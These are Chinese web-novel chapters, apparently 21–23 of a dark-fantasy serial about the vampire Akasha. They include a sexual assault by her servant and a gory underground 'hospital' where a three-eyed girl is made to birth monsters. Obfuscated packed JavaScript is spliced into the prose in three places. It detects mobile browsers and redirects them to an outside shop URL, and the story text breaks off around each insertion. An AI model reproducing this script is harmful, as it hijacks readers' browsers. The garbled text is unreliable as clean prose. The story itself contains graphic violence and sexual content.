寂静无声的漆黑长廊,窗外隐隐有雷声响起,蝙蝠在低矮的树丛上徘徊,咚咚地撞在彩色的玻璃墙上。蜡烛的火苗急促地飘动着,然后忽然熄灭,烟雾散落在黑夜中,悄然无声,敲门声如约而至。 “是谁?”魔女的声音传来。 “主人,是我。”门外的黑影说道。 “厄塞瑟斯,有事吗?”阿卡莎回答。 黑影的嘴角上扬,闪电划破了天空,照亮那双深红色的瞳孔。他沉默着,没有说话,手却一点点覆上门。 阿卡莎听到门被推开,随后眼前的一切开始变得模糊不清,失去意识前,她感觉自己落入一个冰冷至极的怀抱。 那扇门的禁制,除她之外,只有一个人有能力打破。她的忠仆,最信任的下属。 “厄塞瑟斯,你想要杀了我吗?”因为失去大部分魔力,此刻的阿卡莎几乎跟普通人没有区别。厄塞瑟斯身上过分释放的气息让她喘不过气,全身发软,但她依旧平静地开口。 那张漂亮得诡谲的脸凑近她,眼底的欲望沼泽因她翻涌着,像沸腾的魔药一般,滚烫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081281|148508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的令人不敢直视。 月光越来越弱,窗外狂风大作,繁杂花纹的纱帘被卷起,缠绵地擦过两人交缠的躯体。 尖牙刺破大腿内侧的肌肤,暗色血液顺流而下。“主人,痛吗?”修长的指尖抹过下唇,像冰冷的画布染上艳色。 阿卡莎没有发出声音,被下属冒犯的羞愤让她的内心难以保持平静,她转过头,闭上眼睛。 没有温度的抚摸和温热的血液交织着,让她的身体不自觉地颤抖。 “为什么不看我?主人”脸庞上落下一枚湿润的吻。 阿卡莎被迫看向那个以下犯上的吸血鬼。厄塞瑟斯那身永远一丝不苟的西装被褪下,露出雕刻精致的腰身和肌肉,微弱的月光落在上面,泛起一层稀薄的青辉。无法忽视地是那美丽的躯体上,遍布的大大小小的伤痕。他们曾经在战场上同生共死,许下永远臣服相助的誓言。 她抚上那些疤痕,再一次收回解除禁锢的法术。 厄塞瑟斯知道,她在纵容着他,她给出的承诺和绝对信任,会让她愿意主动献上镣铐。 那些漫溢的情绪撕扯着两颗心脏,雨越下越大,呼吸是泛滥的阿克戎河水,冲击着溃堤的堤坝。 月光消失前一刻的吻别,必将成为永恒。 21. 二层 “不是,”话刚一出口,赫尔的表情又立刻僵在脸上。德恩那家伙不是说,她绝对不会进“午夜集市”的吗? “啊抱歉,我的意思是,你怎么会生病呢?”赫尔深吸口气,及时摆出关切的神情。 “你知道自己的演技很烂吗?”阿卡莎头也不回地朝入口处走去,“不管你是谁,别再管我的事。” 眨眼功夫,阿卡莎的身影就即将消失不见,熟悉的烦躁感冒上心头,“真是个疯子。” 通道尽头出现一道铁门,门内依稀传来野兽的嘶吼和尖叫的声音,可以想象,那后面隐藏着一个怎样恐怖血腥的......阿卡莎推开门。 几个醉醺醺的矮人正用地道的口音大声唱着歌,像轰隆隆的马车驶过,时不时参杂一些诡异的尖叫。抱着胳膊跳踢踏舞的精灵们,踩着橡木地面上暗红色的粘腻酒渍。 哦,这里处处散发着温馨的午夜酒吧的氛围。 “您好,来‘治疗’的吗?”脸上布满了胡子的矮人打了个酒嗝。“一个人?” 疑问的语气莫名有些毛骨悚然,而矮人正眯缝着眼,嘴角扯出笑容,露出黄色且凹凸不平的牙齿。两人都没有再开口。 “嘿,怎么不等我。”身后的门被拉开,赫尔扶着腰喘气,有些无奈地拍了拍胸口。 那个矮人将视线转移到赫尔身上,“您好,我是她的哥哥。”赫尔开口,并试图搂住阿卡莎的肩膀。 阿卡莎难得没有躲开,依旧沉默地站在原地。 矮人那张毛脸变得严肃,他开始上下扫视阿卡莎,似乎在寻找她作为病人的特征。 赫尔则立刻握拳抵在唇间,干咳了几声,随后他伸手指了指脑袋,故作痛心地摇头。 气氛沉寂了几秒,矮人的喉咙里发出呼噜噜的笑声,“那么,请进。” 不知按了什么,头顶垂下无数根湿漉漉的麻绳,带着浓重的血腥味。它皱起眉头,对着天花板粗鲁地说了些什么,最后才拉住其中一根绳子,试探性地轻拽,矮人思索着眨了眨眼睛,扔下手里的空酒瓶,用力地扯动,一阵咔啦啦的响动过后,斜梯出现在几人面前。 “上面就是医院了,希望您早日康复。”矮人做出恭敬的姿态,眼神却肆意地在两人的身体上游动。 阿卡莎敏锐地注意到,此刻那个矮人不合身的长袍下,有什么东西正快速地蠕动着。他们走上楼梯,发出嘎吱嘎吱地动静,四周歌舞依旧,但无形中,似乎正有无数双眼睛正在注视着两人。 “你不知道规则吗?”赫尔压低了声音说,“这里,独行者死。” “哦,现在知道了。”阿卡莎的注意力全在前方的上层医院,“‘治疗’是什么?和魔兽有关系吗?” 赫尔捏了捏眉心,一副‘你果然什么也不知道’的表情,“嗯,对外宣称是通过魔兽改造强化身体之类的,不过,听着很荒谬的样子。” 听起来他知道的也没有想象中那么多,阿卡莎转头瞥了眼赫尔。他不是喀斯玛洛人,认得她的长相和名字,接近她又帮助她,不知道是出于什么目的。 不过,现在的情况,要计较这些,也分个先来后到。 走完最后一层台阶,上来的门被砰地关上,视野忽然变得开阔了,可以说,跟上面的‘医院‘相比,刚刚那地方简直像个可怜的沙丁鱼罐头。不同的是,这里空无一人。 四周密密麻麻的铁笼相互堆叠,变成巨大的墙,抬头竟一时间望不到尽头。那些在通道中流浪的的气息终于得到了解释,笼外腥臭的黏液和血液的味道刺的人大脑发疼。 阿卡莎对笼子里的东西并不陌生,她想起弥斯克地下擂台上,那些吃人不吐骨头的巨兽。不过,这里,阿卡莎抬头,高处笼子大小明显和底层的不同,并且,异常的平静。 “本医院遵循人性化治疗模式,您可以自行挑选合适的‘影子’。”被施了传音咒的灯亮起,紫色的火光映在脸庞上,散发着幽冷的气息。底部的兽也开始变得越来越狂躁,低吼着撞向笼子。一时间,这座由笼子构成的屋子变得摇摇欲坠起来。 赫尔看着一双双猩红的兽曈,不由得咽了咽口水。他又向后退了几步,“喂,你随便选两个,我们先从这出去…….” 阿卡莎此刻正弯着腰看着铁笼里的一只似狗非狗的野兽,她靠的很近,似乎一点也没被那猛扑的架势吓到。独眼刻铂托,全身上下都被粗长的毛发覆盖,额头上长着一只巨大独眼,速度和咬合力极强,被它盯上的猎物,一般都很难留下全尸。 不过这只,好像有些不一样,它的眼珠慌乱地移动着,眨动的频率也很快,尽管拼命地扑咬着笼身,尾巴却低垂着,一动不动。 “米勒,喂,米勒…..你在听我说话吗?”赫尔站在远处喊着。 “我选好了。”阿卡莎从笼子前抬起头,对着那盏灯说。“这只刻铂托,还有,嗯,那个吧。” 被选中的那只缩在角落里的卜比尔,动了动脑袋上的一小片眼睛,看着还有些懵懂。 灯忽然熄灭,身后传来什么东西被拖动的声音,片刻的宁静后,欢快的音乐响起,一盏盏灯在门内亮起,这冷不丁的节日庆祝氛围实在不合时宜。“交易成功”的声音在通道间回荡,阿卡莎直觉,这四个字听起来不像好事。 面前出现类似矿道的路,让人产生了些’这里是地下‘的实感。等等,好像少了些什么? “赫尔?”阿卡莎试探性地开口,但回应她的只有寂静的空气。 她忽然想起那个寻找儿子的瞎眼妇人,还有赫尔先前说的,独行者死,真是很好想象此刻不见的病人家属的处境。 不过,那位因‘治疗’而消失的儿子,处境似乎会更加糟糕呢。 阿卡莎于是走进通道里,通道很矮,需要一直弓着身子行走。一路的墙上挂着很多肖像画,其中大部分是传说中人面兽身的怪物,如果说这些只是一种对原始力量的崇拜,也并不奇怪。 要说奇怪的是这张——黑乎乎的一个人形的剪影,与背景中杂乱的火 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她没有感知到空间咒术的波动,但这里.......或许是幻术。 阿卡莎的眼前出现了一个巨大的纯白空间,在无尽的令人发晕的视野里,摆着一张病床,像汪洋之中飘摇的小小船只。求救声忽远忽近地传来,又逐渐变了调,像风穿过枯树丛一般的哀泣,尖利,愤怒,让人头疼欲裂。 那张病床,阿卡莎不自觉地向那里靠近,只有那里像风暴的中心般平稳。 她终于走到了病床前,脸色枯黄的少女躺在那片白色里,像落在枯叶之中的蝴蝶。女孩缓缓地睁开眼,神奇的是,周围求救的声音也随之消失。 脑子里的想法是,你看,她干瘦的脸颊毫无血色,嘴唇像枯萎风干的无花果,但这些都无法掩盖她的光芒,她的三只眼睛。 “是你在求救吗?”克服了自己想要屏住呼吸的冲动,阿卡莎问道。 女孩摇摇头,她的漂亮眼睛里却温柔地渗出泪来,看起来像是划开伤口然后流血一样自然。 “请走吧,我只能做到这么多,抱歉.......”她说。 四周白色空间再次如同浪潮般褪去,求救声和少女也随之消失。她站在原地,那里一片黑暗。 “喂,你人呢?我找了你很久知道吗?”左肩忽然被人拍了拍,阿卡莎回过头,冷不丁地被忽然出现的亮光晃了眼睛。 赫尔手握着烛台,红色的火光将他的眉眼勾勒得熠熠生辉,“愣着干嘛?这到底什么鬼地方,这么黑。” “你.....”从白色空间出来,阿卡莎便一直将匕首捏在身后。 这里存在着高阶的幻术,那么究竟从哪一部分开始的,真实和幻觉。 “门开的时候,你去了哪里?”阿卡莎说。 “我还想问你呢,你是真生病了?那时候我跟你说话,你就跟没看见我一样。”赫尔一副莫名其妙的鄙夷表情。 难道那时候就已经中招了?阿卡莎忍不住想。 22. 刻铂托之死 “米勒,你.....”赫尔的脸庞有些苍白,他看向阿卡莎的身后,眼睛木然着一动不动。 阿卡莎出现了强烈的耳鸣,她没有来得及听见那后半句话。但依旧不动声色地开口“什么?” 阿卡莎盯着蠕动的嘴唇,像看一场摸不着头脑的默剧。不过,那好像在说,“你的,影子,去哪里了?” “别太紧张,可能是‘治疗’开始了吧。”阿卡莎说,怀着一种连她自己也不知道在说些什么的心态。 她忽然伸手,握住了赫尔手中烛台的银柄,奇怪的刺痛感却瞬间从手心传来,阿卡莎的眼神冷冷地下瞥,这居然不是普通的银。 她依旧面上神色如常,使力将那唯一的光源举到身体右侧。光将他们的影子投射在穴壁上,确实,只有一个。 赫尔的大半张脸都被光影吞没,看不清具体的表情。不知是不是错觉,阿卡莎觉得那个影子正在不停地变换,准确来说,是不停地变大。张牙舞爪地侵占了大半个洞穴。 失神间,手中的烛台被扯动,阿卡莎一时失力,烛台掉到了地上,周围重新陷入了黑暗。阿卡莎的整只手掌发出火辣辣的痛,刚刚烛台脱离的那刻,有非常明显的撕裂感觉。然后,她再度陷入昏迷。 最先恢复的是听觉,阿卡莎听到了铁质东西碰撞的声音,然后是嗅觉,足以让任何一只吸血鬼失去理智的血液醇香,青筋在脖颈间若隐若现,阿卡莎猛地睁开眼,瞳孔彻底变成了全红。她努力地保持着清醒,于是代表着本能渴求的剧烈呼吸,让她的胸膛起伏,冷汗淋漓。 从睁开眼那刻,阿卡莎便察觉到了眼前奇怪的角度,她尝试着活动手脚,耳边却立刻传来不小的动静。银色的手铐与链子,将她整个人固定在一张床上,几乎是动弹不得。阿卡莎不自觉地攥紧手掌,痛感让她恢复了些理智。这代表先前的烛台,不是幻觉。 “你醒了。”有人拉开了床右侧的布帘。 阿卡莎转过头,眼前那是一张有些印象的脸,衬衫与白色的外套上,映着大片喷溅的液体,但衣服主人似乎早已习以为常。 “我一直很期待与你再次见面,米勒·维安小姐。”那人说。 “这就是‘治疗’吗?”阿卡莎从缝隙中依稀窥见帘子另一侧的景象,有什么东西躺在上面一动不动,那是内脏吗?她在心底发问。 “哦哦你说那个,唔,还没开始呢?”那人将手收进口袋,看起来更像一位专业医师。 “赫尔在哪?你们应该是伙伴吧。”说话间,阿卡莎早已冒出来的尖牙抵在唇间,终于有了些兽的样子,那人的眼神晦暗不明。 男人先是一顿,随后快速地回神。笑容爬上了他的脸,直到到达一个有些诡异的弧度,他的瞳孔像冷血动物一样收缩,“我很高兴,你竟然记得我。”他越说越兴奋,“你知道,你现在的样子很美吗?” 阿卡莎躲开那只向她伸来的手,“实在不想说也不用这样。” 空气凝固般地沉默了几秒,随后男人忽然大笑起来,他弯着腰,擦去眼角渗出的泪花,然后自顾自地开口。 “赫尔·德恩,那是个连自己名字都一无所知的美丽失败品。” 阿卡莎的眼皮微垂,重复的嗅觉刺激让她有些麻木,耳边传来东西蠕动的声音,像蜗牛在树干间爬动,湿黏地包裹路过的地方。 她看见男人的脸像冒着泡泡的魔药,皮肤流动着鼓起,五官,身形,骨头像困在蛹皮里的异物。直到衣物被撑破,领口处逐渐撕开,脸才终于变得清晰,那是‘赫尔’的脸。 “这是哪里?”他的眉毛不安地颤抖着,一脸的惊慌失措。 阿卡莎恢复了些力气,那种让她四肢无力的影响正在减弱。事实上,她确实也算野兽,手臂皮肤逐渐呈现烫伤后的红色,青筋快速地凸起,肌肉膨胀着,将银铐越撑越大,阿卡莎控制着面部表情,她可不想变出一张毛脸。 ‘红魔’,这名字的由来,除了受到吸血鬼一贯恶名的影响,就是因为,他们之中存在有机会变成怪物的人,像是,拉普塔那些红皮怪物。尽管阿卡莎能够自由控制变形,但很少利用这部分力量,她深知那些将理智交给野兽的红魔的下场。 “我们快走吧。”赫尔额上冒出来冷汗,他一把抓住了阿卡莎刚挣脱开禁锢的手腕。 阿卡莎直直地盯着他的眼睛,没有挣脱。“你叫什么名字?” “喂,你在说些什么?别浪费时间了。”赫尔眉毛微蹙,不耐地说。 “赫尔·德恩。”阿卡莎说。“你为什么一定要跟着我。” “赫尔,赫尔·德恩…….”赫尔手上的力气不自觉地减弱,“我不知道,不清楚,等等,我跟着你是因为那家伙…….” 他想到什么,那张脸像木偶似的僵住了。赫尔应该知道,说他演技烂,是因为所有的情绪都被标准地刻在脸上。他拙劣地表演人类的一切,他想要告诉人们,他活过来了,他不想无动于衷。可惜人们除了他华丽的外壳,什么也不想了解。于是诅咒开始,他再也记不起来这些了。 “救,救我……”身后的帘子微微晃动着,赫尔却木在原地,一动不动。原来那个真正失去影子的人,是他。 或许他只是个没用的垃圾罢了,什么也做不了,没人会…… “好了,还演上瘾了,让开。”阿卡莎伸手将挡在帘子前的人拨开。 她一把拉开了那道喷溅着不明液体的帘子。尽管已经事先捂住鼻子,依旧被血味呛了个正着。 矮人的身体中间破开了一个大洞,手脚到处是缝合的痕迹,像被不懂事的孩子扯坏的玩具。他的下半张脸扭曲着,看起来已经没有人的样子。“我的妈妈呢?她怎么还不来接我。”他脸上的一道□□里发出声音。 “阿鲁身上好痛呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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笼子很深,眼睛在黑暗中发着淡淡的红光,像两点漂浮的鬼火。 一个浑身散发着恶臭的庞然大物,人面兽身,巨大的触须盘踞在地上,却又不像海洋动物一样单纯,那是由碎肉拼接而成的东西,似乎还能看见融合的不甚完全的疤痕。再往上,阿卡莎见到一张熟悉的脸。 圣约中写道,天使拥有三只眼睛和三对翅膀,那些为了吓跑恶魔而诞生的圣洁之眼布满了全身,让人无法直视。 女孩神色淡然,眼睛微垂着,像神话中的圣母。她周身浓烈刺鼻的腐烂气味似乎在说,天堂其实是充满着幻想的地狱。 接下来的进食画面,彻底打破了假象。那是原始的,血腥的地下世界,‘医院’彻底成为了天使的屠宰场,随着越来越多的人被触手绞断,然后咀嚼着吞下,女孩的脸色恢复了红润,她的体态逐渐丰腴,小腹也高高隆起。 她的眼神里再次出现迷惑人的光晕,带着诡异的神性与…..阿卡莎顿了顿,她看向女孩纤弱四肢下鼓起的东西,从眼角滑落的的泪水里,那种令人作呕但实在悲壮的母性。 阿卡莎不该接着呆在这里了,那些触手即将深入她的笼子。无法违背吸血鬼的天性让她痛恨嘴里不断分泌的液体,这让她觉得自己也是个吞食人的怪物。 23. 天使之殇 那男人连同赫尔一起消失了,‘午夜集市’里只剩下尸山血海。 阿卡莎回到地下酒馆的时候,那里的灯带依旧微弱地闪烁,沙哑的唱片机转动着,没有矮人和精灵的踢踏声,只有液体从木板缝隙中滴落。忽明忽暗的细小光亮里,惨白但双颊红润的脸,弯折着垂在肩头,手脚定格在先前舞动的样子。从天花板上垂下的无数根细线,覆盖着他们僵硬的身体。阿卡莎凭借记忆,试探性地拉动其中一根。 “吱咯——”身后冰凉的物什忽地抵在腰间,阿卡莎闪身,手臂上冒出一小片鸡皮疙瘩。矮人的手被细线牵动,以一种诡异的姿势向她凑近。阿卡莎尽量避免发出声音,不过,在她靠近门的时候,身后总是传来细微的动静。每当下一个转身,总会有人朝她越来越近。 那些笑脸和动作看起来很像人,或许这就是让人感到不适的原因。他们的四肢像被切断后处理的很干净的人类肢体,眼睛却是灰白色的,凑近看简直和死掉的鱼类一般,毫无生气地干瘪着。这让阿卡莎再度联想到那个瞎眼的母亲,如果说所谓的将病人家属的器官作为‘治疗’的费用,只是为了满足这样的恶趣味….. 她干脆转身坐下,在那个离她最近的人偶面前。点了根烟,没急着抽,又拿起桌旁还冒着泡的啤酒,倒进杯子里。她一眨不眨地盯着,又瞥了眼吊在人偶身上的细线。那双浑浊不清的鱼目里,阿卡莎似乎在里面发现了什么。 那是个可怕的猜想。她站起身,抽出一把短短的骨刀。在凑近那些线的时刻,那张微笑着的脸皮好像在极力地颤抖,眼珠一动不动,像被死死粘住的老鼠。锋利的刀刃划过半空,那些丝线如雨般散落,挂在人偶身上。 阿卡莎曾经在街头见过提线人偶的表演,那是一旦线断,就会终止的表演,因为人偶本身并没有生命。 眼前的’矮人‘并没有因为断线而停止动作,他保持着原本的动作,只是,他更像是一副有情绪的躯壳,用僵硬的肢体诉说着此刻极度的惊恐。这些不是人偶,而是僵尸,被强行拼接缝制起来的影子。他们依然保留有自主意识。 远处的灯光恢复了正常,表演结束,接下来,人偶师会从幕布后走出,向观众脱帽致谢。 唱片机滋滋地响了两声,随后古典乐的声音传来。不远处有人打了个响指,踢踏声再度响起。那人再度变了个样子,但阿卡莎认得他的眼睛。单框的金边眼镜,半张脸都被复杂花纹的银面具覆盖,走起来几乎碰到天花板的个子,让半间屋子都被他的影子覆盖。 德恩心情很好,他哼着歌,随意地拨动着空中的绳子。他确实对此很熟练,看似不经意地拨弄,让人偶们再次欢快地舞动起来,一切恢复了正常,任何一个人走进这里,都不会联想到血腥和恐怖的东西,这里是酒徒的乐园,末日的自由地。 “这里的酒还不错吧。”德恩来到阿卡莎面前,他很自然地拿起一只杯子,“Bricolage的配方,但我做了改进。” 阿卡莎瞥见他指尖沾染的血色,她挑了挑眉,最后吸了口烟,将火光在指尖捻灭。“味道很棒。” 德恩笑得更开心了,似乎对阿卡莎的反应很满意。不过这样的神情并没有保持很久,他踩到了那些细线。并有些苦恼地转过身,他站在那里,影子吞噬了所有人偶身上的光线。 气息似乎凝滞了,然后那人偶的手脚开始挪动起来,踩在地面上发出吱呀吱呀的响声。它的眼眶里流出不明液体,用尽全身的力气举起一只脚,又努力地将它放在地面,一切都别扭至极。 “噗————”德恩终于做出了反应,“哈哈哈哈哈……”笑声在那些从天花板滴落的黏腻血液中来回穿梭。 他身后的影子开始蠕动,最后化作实型。一大团触手状的东西爬上人偶的身体,随后缠的越来越紧,直到发出“啵——”地一声,毫无血色的四肢炸开,露出里面青紫色的腐肉。最终,只有躯干里流出一些内脏,多了点活人的颜色。 “呀,坏掉的东西可不能出现在客人面前。”德恩用指腹抹去脸上飞溅的血点,“不过,给了他一颗心脏真是浪费。” 现在的变态都喜欢开店吗?阿卡莎想到了nepenthe,那个同样喜欢在笼子里关一些奇怪东西的精灵。他们或许对于恶趣味有一些共同话题。 她不想再继续装作若无其事地猜一个变态的想法,对此,直接站起身离开会是一个更快的选择。她假意朝门的方向走去,却想着那没得及关上的医院入口。 耳边几乎是立刻传来触手游动的嘶嘶声,一小团紫黑色的东西爬上脚踝,反复蹭动,阿卡莎垂眸,那小截的触手卷在皮肤上,比吸血鬼的身体还要冰冷,濡湿的触感吮吸似地在腿上收紧。 阿卡莎讨厌被人掌握的窒息感,她有些不耐地转身,随后抽出火机,几乎是毫不犹豫地朝自己的腿上扔去。卷着她的触手迅速地褪去,似乎有意识一般,在半空时接住了那火机,然后盖上。 德恩正站在原地,脸上挂着淡淡的笑意,他一脸无辜地举起双手,连同身后的触手一起,整齐地竖立着。卷着火机的触手一松,铁制的小盒子落入手心,“医院禁火。” 德恩不会对她抱有什么好的意图。但幼稚的试探令她深感无趣,她吸了口气,“你想要什么?” “烧着我没事,你不行。”德恩将那火机收进胸前的口袋,将目光投向阿卡莎。“我的孩子需要一个新的母亲。” “嘿,别用那种表情对着我,太令人伤心了。“德恩的触手按在胸前,仿佛在示意自己的心痛,”你在弥斯克的时候可是杀了不少......” ???阿卡莎头顶缓缓冒出三个问号。变态要是想说出什么惊人的话,真是毫不费力。 这似乎不是一句‘我做不到’就能够解决的事,甚至她在这里死去,尸体也不会得到安宁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女孩躺在满是脏污的地上,那里没有光,只有地下晃动的烛火,无情地注视着她裸露的身躯。她以分娩的姿态张开双腿,怪物从她的□□诞生。这一切似乎没有尽头,睁眼永远是畸形般隆起的肚子。 听到脚步声的女孩僵硬地侧过头,白得近乎透明的脸庞上再一次露出茫然的神情。 “辛苦了,Eva。”德恩蹲下,温柔地抚摸着女孩的脸庞。 “我的angel很美吧。”他抬头看向阿卡莎,像炫耀自己心爱玩具的孩子。 阿卡莎有些出神地看着地上的女孩,感到自己变成了被困皮囊的活人偶,眼睛是死的,身体是死的,只能僵在原地,不断发冷。 她紧盯着那三只眼睛,以至于双目干涩发痛,但心中忽然生出巨大的恐惧。她害怕,那里面没有一丝挣扎,只剩温顺。 “为什么是我。”阿卡莎不自觉地喃喃出声,“我是谁。” 她站在那片怪异形状的阴影里,看见了无数双灰白的眼睛。从远处而来,最后聚集在她的瞳孔里。 “这里会变得很吵闹。”德恩说,怜爱的目光投向周围。“孩子们会醒过来,他们很饿。” 女孩的身体弓起,骨头似乎要冲破枯瘦的皮囊。她的一切都在流失,那些怪物婴儿蜷缩在地上,好像有醒来的迹象。 不远处另一道门打开,德恩起身,“我们走吧。” 此时,楼下的门传来动静。